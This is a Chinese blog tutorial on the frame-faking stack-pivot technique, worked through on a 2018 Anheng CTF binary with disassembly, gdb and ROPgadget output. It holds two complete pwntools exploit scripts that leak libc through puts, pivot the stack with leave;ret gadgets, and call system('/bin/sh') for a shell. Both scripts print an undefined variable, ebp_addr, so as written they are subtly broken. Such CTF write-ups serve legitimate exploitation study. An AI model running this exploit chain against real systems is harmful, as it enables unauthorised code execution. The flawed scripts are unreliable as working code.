花式栈溢出技巧之frame faking

frame faking

构造一个虚假的栈帧来控制程序的执行流

原理

之前所讲的栈溢出不外乎两种方式:

  • 控制程序EIP
  • 控制程序EBP

其最终都是控制程序的执行流。在frame faking中,我们所利用的技巧辨是同时控制EBP和EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。

函数的入口点和出口点

入口点

push ebp    #将ebp压栈
mov ebp, esp    #将esp的值赋给ebp

出口点

leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址

其中leave指令相当于

mov esp,ebp     #将ebp的值赋给esp
pop ebp     #弹出栈顶元素作为ebp的值

所以函数的出口点的两条指令相当于

mov esp,ebp
pop ebp
pop eip
利用条件
  • 溢出字节较少,难以构造较长的rop链
  • 存在一块可写的内存,且知道其地址
payload设置

此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?

  • 使用ROPgadget查找leave;ret指令所在的地址
  • 覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。

假设程序为32位程序,64位同理

  1. 当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)如下图所示:
  2. mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
  3. pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上行
  4. 执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上行
  5. 执行eip寄存器中的指令,leave指令;
  6. mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址
  7. pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行
  8. 执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。

下面以一道例题来说明用法

2018安恒杯月赛下载地址

checksec + IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

  • 64位程序
  • 只开启了nx保护
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}
int sub_400676()
{
  char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar('>');
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

通过IDA分析可以得出:

  • 只能溢出0x10字节,也就是16个字符,也就是只能覆盖两个地址,无法构造较长的rop链
  • 但read函数并不会给输入字符串末尾补\0,所以当我们输入0x50个字符时,可以将rbp的值打印出来。
leak rbp的值
  • 在这个题中我们可以直接控制sub_400676函数中的buf所在的内存地址。
  • 所以rbp我们需要覆盖为buf所在的首地址
  • 他们在内存中的具体的值我们看不出来,但他们之间的偏移关系是确定的。
  • 我们可以通过leak rbp,再动态调试一下,得出具体的偏移关系

gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20   //查看从rsp开始的20个地址

  • 我们leak出来的rbp的值为红色的长方形中的蓝色框中的值,为0x00007fffffffdd50
  • 而rsp所指向的地址为0x00007fffffffdce0
  • 0x00007fffffffdce0与0x00007fffffffdd50两个地址之间的偏移相差0x70,蓝色椭圆框所示

查找leave;ret的地址:

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe

Unique gadgets found: 3
  • 所以rbp设置为原来的rbp-0x70,ret设置为0x00000000004006be
  • 同时我们还需要在buf的一开始没有溢出的地方调用puts函数,以判断版本
  • 在调用puts函数时,需要设置rdi寄存器,这里使用通用gadgets:csu_init,如读者不熟悉,请先阅读这篇文章
代码如下:
from pwn import *
context.log_level = "DEBUG"

sh = process("over.over")

payload = 'a' * 80

sh.recvuntil('>')

sh.send(payload)

rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')

print hex(ebp_addr)

pop_rdi = 0x400793

puts_got = 0x601020 

puts_plt = 0x400530 

ret_addr = 0x400676

leave_ret = 0x4006be

payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)

sh.send(payload)

sh.recvline()

real_addr = u64(sh.recvline()[:-1] + '\x00\x00')

print hex(real_addr)

此时的栈结构

  • 此时执行leave;ret指令,rsp指向rbp的位置处
  • 按照上文原理中所叙述的,经过两次leave;ret
  • rsp指向pop rdi;ret的gadget处

根据泄露出来的puts地址判断libc版本

libc database:url

完成最后一步:获取shell

代码如下:

from pwn import *
context.log_level = "DEBUG"

sh = process("over.over")

payload = 'a' * 80

sh.recvuntil('>')

sh.send(payload)

rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')

print hex(ebp_addr)

pop_rdi = 0x400793

puts_got = 0x601020 

puts_plt = 0x400530 

ret_addr = 0x400676

leave_ret = 0x4006be

payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)

sh.send(payload)

sh.recvline()

real_addr = u64(sh.recvline()[:-1] + '\x00\x00')

print hex(real_addr)

base_addr = real_addr - 0x06f690

system_addr = base_addr + 0x045390

binsh_addr = base_addr + 0x18cd57

payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)

sh.send(payload)

sh.interactive()

注意一点,最后的rbp_addr-0x70-0x30的由来:

  • 不是只需要减0x70就可以吗,怎么又减了0x30
  • 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
  • 返回地址为sub_400676的函数地址
  • 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
  • 红字部分为6个8字节,48字节,换算为十六进制为0x30
  • 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

西杭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值